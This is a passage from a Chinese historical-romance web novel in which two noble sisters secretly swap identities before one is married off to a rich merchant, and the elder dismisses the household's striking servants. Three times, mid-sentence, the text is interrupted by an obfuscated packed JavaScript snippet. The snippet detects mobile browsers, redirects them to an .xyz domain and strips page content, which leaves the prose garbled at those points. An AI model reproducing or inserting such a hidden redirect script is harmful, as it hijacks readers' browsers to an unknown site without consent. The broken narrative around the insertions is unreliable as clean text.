“所以，这件事将是绝密。从今天起，贝拉就是奥黛丽，奥蒂就是伊莎贝尔。”玛丽郑重道，“孩子们，在正式出嫁前，你们绝不能将此事泄露一星半点。出嫁后，千万谨言慎行，不要暴露。特别是……奥蒂。” 奥黛丽握紧双拳，心里不由得紧张。 简妮也思虑起来：“斯宾塞公爵府在汉克郡，赫尔曼家族在肯特郡，都与我们相距甚远。两个孩子长相相似，不是熟悉的人，也很难分辨。” 奥黛丽点点头：“是的，那位与我有一面之缘的贾维斯爵士，上次宣布女王谕旨时，也没认出我。” 姐妹俩有着相似的金发和蓝眼睛，虽然神韵气质不同，但用来应付陌生人足矣。 “但愿一切顺利。”讨论结束，玛丽叹息一声，在胸口画十字。 “上帝保佑，我们经不起波折了。”简妮闭眼祷告。 安娜也跟着祝祷。 三位卡文女士共同许愿，两位诺曼女士也看向彼此。 奥黛丽眨了眨蓝眼睛，忽然说：“姐姐，我明白，你又在骗我。” 伊莎贝尔但笑不语，提着烛台，缓缓走向旋转楼梯。 姐姐走在前，妹妹踩着影子跟在后，还像小时候的跟屁虫。 “你在哪里都能过得好，无论是斯宾塞家，还是赫尔曼家，又或者是任何地方。”奥黛丽神情寂寥，“你提出的种种假设，只是为了我能够坦然跟你交换。你只是……” 她吸了吸鼻子，忍住哭腔：“希望我过得好。” 伊莎贝尔步伐平缓，静静听着身后的抽泣。良久，她停住脚步，站在卧室门边，回头笑道：“到了，奥蒂。” 烛火照亮奥黛丽哭花的脸，她终于忍不住，扑进姐姐的怀里。 “奥蒂，我之所以要跟你交换，不是刻意奉献牺牲，那还谈不上。”伊莎贝尔轻拍她的背，眸光含笑，“你可以当作是姐姐送你的礼物。这和教你学数算没什么不同。只是给了你另一条路。” “至于为什么骗你嘛，很简单。”她耸了耸肩，“记不记得，你小时候怕黑，不愿意分房睡，我很烦，就哄你说独立睡觉的孩子会收到礼物，从那天起，你勇敢迈出了第一步。” 奥黛丽点点头，发出带有鼻音的闷哼声。 “今天，我只是用善意的谎言诱导你接受第一步，之后的路，还要靠你自己走。”伊莎贝尔帮她拧开卧室门，冰蓝色的眼睛倒映着烛光，她顿了顿，“作为姐姐，我只能送你一程。” “当然，也是我的私心，我想送你到这里。”伊莎贝尔将烛台递给奥黛丽，眸光平静温和，“也只能送你到这里。” 奥黛丽握住烛台，温热的蜡水落在掌心，一股灼烧感自心底升起。她怔然望着姐姐离开，恍惚觉得，内心除了悲伤，还莫名生出了勇气。 她推开卧室门，用姐姐给的烛火照亮漆黑的房间，去寻找那份可能存在的礼物。 4. 第 4 章 “交换行动”经过几位女士的讨论，已经初步敲定。 出于不信任，玛丽对安娜耳提面命，让她再三发誓一定管住自己的嘴巴。可怜的安娜被迫许下一堆毒誓。 时间太紧，后天中午赫尔曼就会到访，一旦交换，就没有回头路。如果无法保守这个秘密，对所有人都是毁灭性的灾难。谨慎起见，简妮连爱德华都没有告知。 夜幕降临，卡文家的三位女士终于各自回房休息。 度过一开始的慌乱无措，彻夜讨论后，几位女士反而安下心来，面对未知的命运有了几分渺茫希望。 然而被蒙在鼓里的其他人，却并不安定。 众所周知，任何老牌贵族家里总有一位作风老派，严谨忠诚的管家。诺曼庄园的米歇尔太太无疑是其中的代表人物。 深夜，女管家米歇尔照例安排三等女仆前去照顾客人，但是三催四请，依然没有人端着洗漱用品出来。米歇尔太太只好亲自去一楼查看。 “姑娘们，我想你们应该还没有到耳背的年纪，安娜夫人现在需要一名女仆，请动作快一些！”米歇尔太太敲开仆人休憩室的门。 几个女仆谈笑声戛然而止，看见素有威严的米歇尔太太，她们竟然也不起身。 一个年轻姑娘浑不在意，冷笑道：“米歇尔太太，我劝你省省吧，庄园就要破产了！别说照顾那位穷亲戚，就算是老爷和夫人也别想使唤我一根手指头！” “是啊，现在大家都在另谋出路，也许照顾玛丽夫人是项好差事，假如她同意带我去伯爵庄园的话。”另一个姑娘用夸张的表情调侃，“噢！出于好心，奉劝您也赶快另谋高就吧！” 米歇尔气得脸色通红：“谢谢你的好意！但是我不像你们一样没廉耻，我忠于诺曼家族！” “哦，棒极了！你忠诚的雇主诺曼老爷已经是个穷光蛋了！这个月的薪水都没发！谁爱干谁干吧！”一个女仆将围裙扯开愤怒地扔进壁炉里。 “就是！必须立刻发薪水！否则我们全都辞职！” 其他女仆纷纷应和，壁炉里烧掉了好几条围裙。 动静闹大，引来隔壁的男仆也加入抗议队伍，事情愈演愈烈。 米歇尔颤抖着嗓音：“上帝啊！你们是要造反吗？今天还没到发薪日，你们着什么急？！听着，再闹下去，我绝不会为你们其中的任何一位写介绍信！再也不会有贵族庄园的大门向你们敞开！我保证！” “恐怕这威胁不到我们，米歇尔太太！”年轻的女仆牙尖嘴利，“我们要求立刻发薪！别想拖延时间，掩盖庄园破产的事实！” “发薪！发薪！” 仆人纷纷响应，场面乱成一团，显然他们从赫尔曼到来的那一天开始，便密谋抗议。 米歇尔是位年近六十的妇人，在这样强烈的冲击下，几乎要昏倒。 紧要关头，一道身影缓缓出现，伴随着规律的脚步声。 “晚上好，诸位。”伊莎贝尔步伐优雅，淡金色直发散在肩头，身上只披着一件薄外套，像是刚从睡梦中醒来，“我想我们不该度过一个喧嚣的夜晚，介意让我为你们分忧吗？” 庄园的主人们很少出现在仆人区域，见到伊莎贝尔，刚才还喧闹的众人，下意识收声。刻在骨子的习惯，令他们第一时间肃立颔首：“伊莎贝尔小姐。” “伊莎贝尔小姐！这里发生了严重的……”米歇尔立刻就要告状，却被那位牙尖嘴利的女仆打断。她一通抢白，态度倒不像刚才那样尖锐，只表达了发薪水的诉求。 伊莎贝尔没有立刻回答。 对峙期间，女仆无形中成为众仆的领头羊，底气十足，原本低垂的头颅越抬越高，甚至带有隐隐挑衅，“……就是这样，如果今天不提前发薪水，我们就会集体辞职。您该明白，这是任何富有名望的庄园都难以承受的屈辱。” 抗议的仆众有恃无恐，他们拿准了贵族的虚荣。 伊莎贝尔忽然抬眸，眼底神情喜怒难辨，声音倒一如既往的平静：“很好，既然如此，烦请米歇尔太太登记各位的名字，再去拿钱吧。” 米歇尔一怔：“不，小姐……一旦开了这个头，他们……” “去吧。”伊莎贝尔重复，“找我的贴身女仆露西，她知道我保险箱的钥匙。” 米歇尔拧紧眉头，暗叹年轻的小姐果然容易被刁仆哄骗，忠诚的本能却使她奉命照办。 “是，伊莎贝尔小姐。” 诺曼庄园虽然财务状况堪忧，伊莎贝尔却有着数目可观的私房钱。这是她闲着无聊，想了解当下经济环境时用零花钱投资赚的，不算巨额，但足够应付发薪风波。 米歇尔上二楼找露西的动静，不可避免地吵醒了简妮和玛丽。 听说了下面的骚乱，简妮立刻就要行动，“这件事让我料理，贝拉还年轻。” “不，简妮，这只是一个无伤大雅的小麻烦。”玛丽阻止简妮，眸光深沉，“假如，我是说假如……贝拉连这都应付不了，我们该重新考虑那个计划的可行性了。” 简妮一愣，沉思片刻，点了点头：“你说得对，玛丽。” 她松开紧攥的手，担忧地看着米歇尔与露西交涉，又飞快回到一楼。 仆人们看到米歇尔真的把钱带来，从不可置信转为狂喜。 米歇尔不情不愿地为他们登记名字，又让露西帮忙发放薪水，很快所有人都领到了。 有几个不住在庄园内的仆人，闻讯赶来，也被妥善接待。 伊莎贝尔靠着墙壁，蓝眼睛似笑非笑地打量众人，看到忙碌的露西——自己的贴身女仆，忽然开口问：“你不需要领吗？露西。我想这是个好机会。” 露西一怔，很快摇头：“不，每个月的最后一天才是发薪日。非常感谢小姐的美意，但我更愿意耐心等待。” 伊莎贝尔没再劝说，只是含笑望着她。 露西是个没有父母的可怜孩子，十五岁那年就进入庄园工作，伊莎贝尔看中她的沉稳安静，提拔她成为贴身女仆。这件事一度让其他资历深厚的竞争者 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15902041|176683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 感到不忿。毕竟露西太过老派，固执得像是米歇尔太太的年轻版。这让她在年轻人群体里显得格格不入。 当然，庄园里更多的是机灵果敢的伙计。 正如此刻，领到薪水的众人喜笑颜开，全然忘了半小时前的丑态，“还是伊莎贝尔小姐善良宽厚，愿意体谅我们的辛苦！” 刚才牙尖嘴利的女仆得意洋洋，挑衅地看着米歇尔：“是啊，不像某些人，还敢用介绍信威胁我们！很抱歉，有伊莎贝尔小姐的挽留，往后大家依然要竭诚为诺曼家族服务。” 米歇尔被众仆嘲弄得脸色铁青，“你！” “不，我想这其中有些误会。”沉默许久的伊莎贝尔，终于在风波尾声中再次开口。 她缓缓举起米歇尔登记的名册，笑容和煦：“这上面的人，恭喜你们，可以离开了。” “离开？！” 一瞬间，犹如凉水兜头浇下，众人炸开锅。 “不！伊莎贝尔小姐，你是不是弄错了？！” “我们离开庄园还能去哪？！” 伊莎贝尔垂眸，将碎发挽至耳后：“如果我没听错，不久前，你们高喊着不发薪水就离开庄园。现在得到了钱，还能如愿以偿，怎么不高兴呢？” 众人一听，还有什么不明白？！这位小姐看似温和，实际上，早就做好了要他们自食恶果的准备！ 领头羊女仆飞速想通所有关节，知道已至绝境，干脆豁出去，冷笑道：“伊莎贝尔小姐，我希望你慎重考虑这个决定，没有仆人的庄园就像裸|奔的国王，失去体面的遮羞布，再高贵的地位也会受人耻笑。老爷和夫人也绝不会允许你擅作主张。” “就是！把我们都辞退，尊贵的主人们怕是连吃饭睡觉都难以自理！” 这番话再次点燃众仆的信心，纷纷附和。 吵嚷声中，伊莎贝尔忽然轻笑，这笑声在此刻显得轻慢而讽刺。 她从露西搬下来的保险箱里，拿出仆人雇佣合同，手一松，纸张通通掉进壁炉里，火舌席卷，很快烧成灰烬，与围裙的碎片们躺在一处。 众人或惊恐尖叫，或愤怒抢救，不敢相信眼前这一幕。 年轻的小姐连一句解释都不屑，轻而易举，将代表男爵仆从身份的证据付之一炬。 这曾经是他们体面的证明！！现在……都没了！！ “我的礼貌与涵养，总是让一些人误以为……拥有和我谈判的资格。”伊莎贝尔如来时那般闲庭信步，缓缓登上台阶。隐在暗处的侧脸眸光深邃，“你们，被解雇了。” 不顾身后的惊涛骇浪，伊莎贝尔拢着披肩，径直离去。 二楼角落里，玛丽眼底划过欣赏：“不错，这孩子拥有足够的魄力与决断。” 简妮担忧道：“可是，解雇所有的仆人，会不会太极端？后天就是赫尔曼到访的日子，如果被他发现异样……” 玛丽缓缓摇头，“我想贝拉不会鲁莽行事，这样做一定有她的道理。等明天的太阳升起，她会给我们答案。” 5. 第 5 章 次日上午七点，爱德华像往常一样醒来，并拉响床头的呼唤铃。等候的间隙，回忆起那些糟糕的坏消息，他脆弱的神经再次被压垮，长吁短叹半刻钟，却发现没听见妻子的安慰。 “简妮？亲爱的简妮！”他呼唤两声，伸手一摸，身边的被窝早已冰凉，爱德华惊讶嘟囔，“噢？不可思议！这才七点！结了婚的贵族太太怎么不在床上等候今日份的早餐和报纸？” 摘下眼罩和睡帽，爱德华拉开厚重的窗帘，美丽的诺曼庄园迎来全新的早晨，阳光刺得他睁不开眼。身后传来开门声，他自顾自道：“查理，你听候差遣的速度有些缓慢，这不该是我的贴身男仆应有的水准……” “不，爱德华，是我。” 爱德华一愣，回头看见简妮端着早餐托盘进来。 “简妮？”爱德华看着托盘上简陋的餐食，还有简妮没来得及摘掉的围裙，眼珠子快瞪了出来，“别告诉我这出自你的手笔！除非所有的仆人一夜之间蒸发了？！” “恐怕正如你所想。”简妮无奈点头。 “上帝啊，你在跟我开玩笑吗？”爱德华匪夷所思，“亲爱的，即便我的神经脆弱，但并不需要这样的调剂。” 简妮盯着爱德华，露出一个歉意的微笑。 爱德华怔住。 - 旋转楼梯上，爱德华步履匆匆，咚咚的脚步声引得餐桌旁的女士们纷纷回头。 长餐桌上摆着早点与牛奶，伊莎贝尔与奥黛丽相对而坐，二人身边分别是玛丽与安娜。 向来体面的绅士爱德华，此刻头发凌乱，穿着睡袍亮相在众人面前。 “贝拉！你太冲动了！诺曼家族在洛森郡有头有脸！不出意外，我们解雇所有仆人的消息已经传遍十里八乡！”面对女儿，爱德华头一次情绪激动，不顾简妮的拉扯说道，“好心的邻居卢卡斯上校还会推波助澜，告诉锡兰公国所有的贵族，老诺曼是个可怜虫！” “不，爱德华，你冷静点，别冲着孩子撒脾气。”简妮皱眉叹气，“如果不答应赫尔曼的婚约，我们的确要举债度日，没有仆人是早晚的事。你那天也言辞拒绝了他不是吗？贝拉只是帮我们做了这个艰难的决定。” 爱德华情绪低落了下去，无助地抱着头。 “抱歉，贝拉，好孩子。我真的不知道该怎么办。”他再次回到楼上，连早饭都没有心情吃。 伊莎贝尔目送他的背影消失，冰蓝色瞳孔泛起淡淡的笑意。 一帆风顺时，爱德华无疑是个好主人、好丈夫、好父亲。可当遇到波折，这位养尊处优的贵族先生就会缩进壳子里，试图以装聋作哑的方式逃避困难。 良知与教养告诉他，不可以屈服于债务，出卖女儿的婚姻。现实的压力又叫他承受不住，于是只好病倒，任由一切发生。即便只剩妻子和女儿硬扛着重担。 一楼，许多双眼睛窥探着餐厅里的争吵，来自于罢工但不肯离去的仆人们。 “瞧好了吧，诺曼先生一定会把我们请回来！任何贵族家庭绝不会任由一位年轻小姐指手画脚！” 笑话，离开这里？贵族庄园是这么好进的吗？大家又不傻！ 他们最擅长审时度势——集体要求提前发薪试探庄园的财务状况与底线；得到了令人安心的钱财便知道困难会迎刃而解；身为贵族体面的遮羞布，他们底气十足，以此与主人家对峙。 然而，作出解雇决定的伊莎贝尔小姐，并没有露出丝毫愁容。 “很抱歉，妈妈，昨晚没有提前告知你。”伊莎贝尔喝完牛奶，优雅地擦拭嘴角。 “没关系，贝拉。但……”简妮摇头，看了看暗处窥探的仆人们，忧心忡忡，“他们不肯离去，我们该怎么办？” 晨起做饭的时候，心善的夫人就遇到诸多求情，说自己上有老下有小的，说年迈生病的等等，但简妮吸取了从前心软的教训，没有答应。 “放心，我早有准备。”伊莎贝尔放下餐巾，挥了挥手，“露西。” 红头发小女仆颔首，立刻朝外跑去。众女士疑惑对视，片刻后，身穿制服的大胡子男人，领着一众卫兵气势汹汹而来。 “治安官？！”简妮瞪大眼睛，“噢！贝拉！这会不会太……” 残忍。 这个单词在喉间酝酿，最终没有说出口。 很快，仆人房里传来一连串的骚动。不愿离开的人被治安官以“非法闯入民居”的罪名强行轰走。几位年老的仆人哭天喊地，有一个甚至扑倒在简妮的脚边。 “不，夫人，是我鬼迷心窍，我发誓只要您愿意留下我，我绝不会再有二心！” 简妮面露不忍，试探地看向伊莎贝尔：“贝拉……” 伊莎贝尔抬眸看向大胡子，“治安官阁下，辛苦你了。” 大胡子摘帽行礼：“为您效劳是我的荣幸，诺曼小姐。” 年迈厨娘哭喊着，被强行拖走。 那位牙尖嘴利的女仆走在最后，从强硬到求饶，最后知道全无希望，又恢复了冷傲。临走时，她狠狠盯着伊莎贝尔的背影，一字一顿道：“希望您永远如此傲慢无情！等着吧！你迟早会有报应。” 时下，平民敢对贵族不敬甚至诅咒，是极其恶劣大胆的行径。这触怒了在场所有女士，只是涵养使得她们克制情绪。 简妮终于硬起心肠，“请你出去，这里不欢迎你，杰西卡！” 那位名叫杰西卡的女仆甩开治安兵的手，大步走了出去。下台阶时，她听见身后传来熟悉的声音，缓慢而优雅的腔调——“欢迎你的报复，杰西卡小姐。” 对方的平静让杰西卡愤怒握拳，一脚踢飞路边的石头。 骚乱终于平息，治安官们礼貌告辞，空荡的大厅只剩五位女士相对而坐。 玛丽喝了口咖啡，粗糙的口感令她微微皱眉，“好了，伊莎贝尔小姐，现在你可以为我们答疑解惑。” “抱歉，亲爱的，我的手艺无法与专业人士相比。”简妮向玛丽投以抱歉的眼神，为她换上新鲜烹煮的红茶，又端了一杯递给大女儿，“贝拉，虽然我完全尊重你的决定，但……如果按照我们的计划进行，赫尔曼的债务会一笔勾销，诺曼庄园实在不必开除所有仆人。这会增添不必要的麻烦，不是吗？” “简妮！你做的饼干太硬了！果然贵族太太当久了，烹饪技能就会退步。”安娜咬着果酱饼干，嘟囔，“依我看，贝拉简直是费力不讨好！除了会落得一身埋怨，令诺曼家族臭名远扬，还要选一批新仆人！噢，别这么看着我，简妮，难道男爵夫人要做一辈子饭吗？还是硬得嚼不动的面包！这太可笑了！” “安娜姨妈，妈妈做饭已经很辛苦了！别再抱怨，拜托了。”奥黛丽无奈看着安娜，为她递上红茶，又给自己端了一杯，顺势坐到姐姐身边，“虽然我不明白，但我相信你，贝拉。” “谢谢你无条件的信任，奥蒂。”伊莎贝尔轻笑，“但……容我提醒各位，从此刻开始，我就是奥黛丽·诺曼，而你，就是伊莎贝尔·诺曼。不光在座的人要记住这一点，庄园的仆人更是不能出现意外。” 闻言，众人瞪大眼睛，终于意识到被忽略的细节。 玛丽微微蹙眉，旋即懊悔：“是的，我明白了……我们粗心大意了。交换新娘的事情，可以瞒住陌生人，却瞒不住熟知庄园底细的仆人。” 她们计划在赫尔曼到来的当天，用最短的时间行动。但是，再隐秘的流程，也难以逃过那十几双眼睛。 “即便不闹罢工，我也会解雇他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15902042|176683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们。只是这场风波给了我更恰当的理由，这也足以证明，他们的忠诚无法达到保守秘密的程度。”伊莎贝尔缓缓道，“不如趁此机会换上新人，并向他们介绍……” “伊莎贝尔小姐。”伊莎贝尔用扇子指了指奥黛丽，又指向自己，“和我，奥黛丽小姐。” 奥黛丽被冠以姐姐的名字，新奇又紧张，嘴里呢喃：“是的，我要牢牢记住，我是伊莎贝尔·诺曼。” 伊莎贝尔看着妹妹，忍不住发笑，拨了拨她的小卷毛，“放轻松，除了变换名字，你只需要做自己。这座庄园外的人并不了解两位诺曼小姐有什么分别。” 玛丽脸上露出笑容，赞赏道：“亲爱的贝……不，奥蒂！你的缜密足以让我们放宽心。现在，是时候物色新的佣人了。否则空荡的庄园会让赫尔曼先生起疑。” “‘奥黛丽·诺曼’感谢姨妈的赞赏。”伊莎贝尔颔首微笑，“不过，新的佣人已经再路上了，今晚将由米歇尔太太带领他们学规矩。” 这一刻，玛丽当真惊叹不已，“噢！你是说，一晚上的时间，你筹谋了这么多事情！我的好姑娘！真是好样的！” 简妮也终于放松下来，在胸前画十字：“贝拉从不让我们操心。” “不，妈妈，是‘奥蒂’！”奥黛丽板着小脸提醒。 简妮捂嘴：“对！对！奥蒂！你才是贝拉！” 几位年长的女士像奥黛丽一样，时刻在心里默念，强行改变自己的习惯。 安娜姨妈突然面露古怪，看向角落。 那里，米歇尔太太带着仅剩的两位女仆正在候命——其中一位是露西，另一位是奥黛丽的贴身女仆，艾米丽。 “玛丽，请你拿出质疑我的态度说说贝……奥蒂吧！”安娜阴阳怪气，压低着声音含糊道，“除非那三位女士像我昨晚一样发毒誓，否则我可不信她们会保守秘密！” 闻言，众人隐晦地扫了一眼三位佣人。 奥黛丽不赞同，但配合着压低声音：“安娜姨妈，米歇尔太太忠诚可靠，在庄园服务了数十年，绝对可信。艾米丽是我的贴身女仆，我敢保证她的人品。还有露西，她也是个好姑娘！” 安娜姨妈哼哼：“在可爱的小诺曼眼里，世界上没有坏人！” 她摆明了不信奥黛丽，只将视线投向伊莎贝尔。对于这位大外甥女，安娜总是不敢造次，更不敢摆长辈的谱，只能窝囊地质疑着。 玛丽喝了口红茶，语气平淡：“她们可信吗？” “当然。”伊莎贝尔同姨妈对视，随意道，“任何小姐都该有贴身女仆。露西谨慎细心，会帮助‘伊莎贝尔小姐’更好地适应新环境。艾米丽要跟着我去斯宾塞公爵府。” “嗯，很合理的安排。”玛丽不再追问，报以全然的信任。 正如卡文三姐妹里，玛丽是说一不二的主心骨。现在，伊莎贝尔已经隐隐成为两代女性中的话事人，拥有不必解释自己决定的权力。 安娜嘟囔着：“我想还是逼她们发毒誓更牢靠！” 奥黛丽：“姨妈！连姐姐都认为她们值得信任，还有什么可怀疑的？” 水蓝色的眼睛看向伊莎贝尔，透着全然依赖的情绪。 伊莎贝尔轻笑，没有反驳：“是的，信任是可贵的品质。” 当然，她不会对天真的奥黛丽小姐解释其中的复杂算计。 三位女仆固然拥有忠诚的品质，但一无所有的家庭的关系才能将她们绑在同一条船上。必要的时候，她会用更加残酷的手段逼迫对方“效忠”。但是，智慧的人不会让自己落到图穷匕见的境地。 体面优雅且从容，才是掌控一切的体现。 准备就绪，伊莎贝尔缓缓放下茶杯，轻摇羽扇，静候明天的到来。 6. 第 6 章 洛森郡迎来难得的晴天，草坪绿意盎然，整个诺曼庄园都沐浴在阳光里，但温和的气候却并不使人心情愉悦。 四匹健壮的白马拉着一辆马车疾驰而来，后面跟着长串的车队。 首车内，赫尔曼·怀特撑着手杖，闭目细听查尔斯的汇报。专属律师将今天的计划安排详尽，预设种种可能与应对措施。 汇报完毕，查尔斯自觉能够得到赞扬，然而只等来一句冷淡的回应。 “嗯。” 查尔斯耸耸肩，并没有太过失望。他太了解自己的雇主——赫尔曼·怀特先生，一位彻头彻尾的商人。 从埃尔美联邦的底层平民，到一手缔造属于自己的商业帝国，现在还将手伸到了阶级分明的锡兰公国，坐上与贵族的谈判桌。种种堪称奇迹的现象，都源于这位银头发先生的冷酷手段与野心。 冷酷到……将婚姻当作谈判的筹码，以此为垫脚石，登上不属于他的天梯。 思绪抽离，查尔斯望向不远处的庄园，心中暗暗祈祷：但愿诺曼一家不要冥顽不灵，否则他将为这个家族的命运而哀悼。 “先生，到了。”查尔斯提醒。 车夫驾停马车，赫尔曼缓缓睁眼，深灰色的瞳孔倒映着庄园景象。 镶嵌名贵宝石的金属质手杖是财富的象征，此刻却随意地撑向地面，发出清脆的声响。微风拂动银灰色的长发，却对一丝不苟的亚麻白衬衫与外套毫无办法。俊美与肃穆矛盾地交融在一人之身，令花园里忙碌的新仆人们侧目。 “那是谁？” “快去通报老爷和夫人！” 姑娘们一面报信，一面忍不住回头偷看。 银头发先生对这些视线习以为常，一步步走向庄园，如前日那样。 - “他来了！”收到新女仆们的报信，安娜匆匆冲进房间。 二楼卧室里，女士们正端详着镜中的奥黛丽——淡金色卷发整齐地盘成花朵状，珍珠头冠恰到好处地点缀在发间，十足美丽的少女。 简妮为奥黛丽戴上白色珍珠耳环，吻了吻她的额头，忍不住落泪：“噢，亲爱的……” 奥黛丽回吻母亲，微笑：“妈妈，我做好面对一切的准备，别为我担心。” 玛丽拥抱奥黛丽：“我相信，流着卡文家族血液的诺曼女士，有着战胜所有困难的决心。” 奥黛丽：“我会的，玛丽姨妈。” 她站起身，依次吻过亲人。轮到伊莎贝尔，奥黛丽水蓝色眼睛泛起薄雾：“向你告别，亲爱的姐姐。” 伊莎贝尔像往常那样，抚摸她的小卷毛，却只摸到冰冷的发冠。 冰蓝色的眼睛含着笑意，她忽然将一个丝绒盒子递给奥黛丽，“你的结婚礼物。” 奥黛丽一怔，似乎还未将自己与“结婚”这个单词挂钩。 可是姐姐从容的语气将沉重的气氛一扫而空，仿佛在告诉她，这只是一场普通的婚姻，没什么可怕的。 玛丽、安娜和简妮都笑了起来。 是的，婚姻罢了。她们都经历过婚姻，幸运的，或不幸的。那又怎么样？如刚才所说，无论何种境地，女士们拥有战胜一切的信心。 此刻，奥黛丽才真正从强装的镇定中走出来。 楼下响起仆人们的问候声，还有熟悉的冷淡嗓音，来自那位赫尔曼先生。 “诺曼爵士，向您问好。” 奥黛丽手指无意识蜷缩，深吸一口气，拎着裙摆走出门。 一楼，直到早上才知道交换计划的爱德华·诺曼爵士，终于消化完震惊的情绪，却要立刻直面莅临的强盗。 “怀特先生，早上好。”爱德华脸色苍白，仍然行绅士礼节。 赫尔曼不会浪费时间在虚伪的寒暄里，他开门见山：“希望您已经做出明智的选择，现在，告诉我答案。” 爱德华深吸一口气，忍住痛心：“我答应……将伊莎贝尔·诺曼小姐，嫁给你。但……” “很好。”赫尔曼没有兴趣听完便打断，“查尔斯，给他。” 查尔斯悄悄松了口气，庆幸不必拿出另一只手上的债务合同，亲自摧毁这个家庭。 他笑意盈盈鞠躬，递上厚厚的纸张，并逐一介绍：“很高兴见证一桩美满的婚约，诺曼家族的债务将会一笔勾销，同时，贵府将得到肯特郡矿山开采权、占地两千亩庄园一座、以及三天后运达的珠宝瓷器，共价值十万锡兰币。敬请笑纳。” 十万锡兰币？！ 全场鸦雀无声，所有人瞪大眼睛，都为这个数字震惊！新来的小女仆因为太过惊讶而手滑，摔碎了茶杯，但没有人责怪她。 因为连爱德华爵士都为此呆若木鸡！ 知道赫尔曼有钱，但没想到这么有钱！十万是什么概念？锡兰公国的首相先生一年才赚五千！诺曼庄园年租金收入才三千！ 此前，不是没听说过商人与小贵族的结合，但作为男爵家庭，如果聘礼能达到两万锡兰币已是极限。再往上，连伯爵家庭也很难达到十万。 在巨额财富的冲击下，没人能保持镇定，除了聘礼的提供者。 深灰色眼睛滑过不耐，赫尔曼冷淡开口：“如果满意这个价码，就在文件上签字，明天查尔斯会代理登报，公示婚约。” “等等！明天？！”爱德华不可置信，“先生，难道我的女儿不在洛森郡的教堂举行婚礼吗？” 赫尔曼沉默数秒，冷笑一声，眼底的嘲讽不言而喻。 爱德华瞪大眼睛，尊严受辱而产生的怒火下一刻就要爆发。 “不不不，诺曼爵士，我体谅您的爱女之心。请放心，怀特先生只是急着完婚！”查尔斯赶忙打圆场，笑容和煦，“您该理解，年轻富有的单身汉总是急于娶到一位美丽聪慧的妻子，我们会在肯特郡为诺曼小姐准备一场隆重的婚礼！保证从头到脚都镶嵌闪耀的宝石！不会令她遭受一点儿委屈！” 查尔斯语速飞快，用尽全力让场面变得更像一场和谐的订婚仪式，甚至俏皮地冲赫尔曼吹了个口哨，“你说是吧，怀特先生？真为你感到高兴，诺曼家的小姐可是美名远扬呢！” “美名远扬？”赫尔曼扯开唇角，面容平静地讽刺查尔斯，“她的长相对我而言并不重要。即便出众到能与阁下平分秋色……” 突然，二楼传来一道轻柔的嗓音。 “怀特先生。” 赫尔曼抬眸。 拎着华丽裙摆的少女拾级而下，头顶的珍珠冠冕在日光下闪耀，却比不过那双璀璨的水蓝色眼睛。 她缓缓靠近，直到离赫尔曼一步之遥才停下，端庄地行淑女礼。 “初次见面，感谢您的慷慨，让诺曼庄园幸免于难。作为报答，我愿意今天就跟你回肯特郡。” “很好……伊莎贝尔小姐。”赫尔曼盯着那双蓝眼睛，片刻后，淡漠地移开视线。 听见他喊出这个名字，奥黛丽心下一紧，很快舒展心神，装作若无其事。 “噢！尊敬的雇主阁下。”查尔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15902043|176683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 斯见缝插针地展示幽默，夸张的语气使他眉毛乱飞，“承认吧！诺曼小姐美貌非常，并没有丑得与鄙人一较高下！” 赫尔曼瞥了眼查尔斯，“合格的律师应该学会在恰当的时候闭嘴。” 说完，他头也不回地转身。 金属制手杖敲击大理石地面，伴随着规律的声响，冷淡的话语一并传来。 “上车。” 这句话是对奥黛丽说的。 即便对现在的场面有所准备，但在真正到来之际，她难免失落。 奥黛丽垂下头，蓝眼睛黯淡无光。 大部分纯真的少女都曾幻想过童话般的婚礼，和温柔深情的白马王子。然而现实是冰冷的交易，与立刻就要与家人分别的难过。 爱德华再也忍不住，放声大哭：“亲爱的，是爸爸对不起你！” 简妮冲下楼，抱着奥黛丽泣不成声。 两位姨妈同样眼眶通红。 伊莎贝尔垂下眼眸，并不出声劝慰。 发泄片刻的悲伤很有必要，但总得向前。 奥黛丽笑容灿烂，反过来劝慰家人：“大家别再难过了！我很好！虽然你们不能出席我的婚礼，但怀特先生承诺过，场面会很豪华，连婚纱都镶嵌钻石，想想都开心！” 安娜破涕为笑：“噢！小奥……小贝拉天生就是个快乐天使！” “当然！祝福我吧！记得告诉隔壁的卢卡斯小姐，我拥有最棒的婚礼！她一定羡慕极了！”奥黛丽骄傲地扬起下巴。 被奥黛丽的笑容感染，众人的悲伤一扫而空。 “是的，一定会的！只要是金钱能摆平的一切，怀特先生都能满足！”查尔斯语气轻快，“时候不早了，请出发吧，诺曼小姐！” 众人将奥黛丽送到草坪外，马车停在不远处。 迎着车内那道冰冷的视线，奥黛丽深吸一口气，缓缓上车。 